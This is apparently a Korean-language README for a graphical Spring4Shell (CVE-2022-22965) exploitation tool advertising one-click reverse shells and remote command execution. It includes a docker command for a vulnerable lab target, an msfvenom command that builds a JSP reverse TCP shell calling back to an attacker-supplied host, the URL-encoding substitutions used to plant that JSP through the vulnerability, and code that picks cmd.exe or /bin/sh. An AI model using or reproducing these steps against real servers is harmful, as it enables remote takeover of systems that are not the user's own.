
원클릭 리버스 셸 생성, 명령 실행 및 다중 서버 셸 경로 적응 기능이 있는 CVE-2022-22965(Spring4Shell)용 그래픽 탐지 도구.
타깃 머신
docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest
리버스 셸의 실질은 msfvenom을 참조
msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp
jsp URL 인코딩 후, 다음을 사용
%3C%25를 %25%7Bc2%7Di로 대체 (<%를 나타냄)
%25%3E를 %25%7Bsuffix%7Di로 대체 (%>를 나타냄)
코드에서는 서버 유형에 따라 shellpath를 수정하여 판단
if self.radioButton_win.isChecked():
shellpath = "cmd.exe"
if self.radioButton_linux.isChecked():
shellpath = "/bin/sh"
명령 실행:
whoami 탐지:
원클릭 리버스 셸
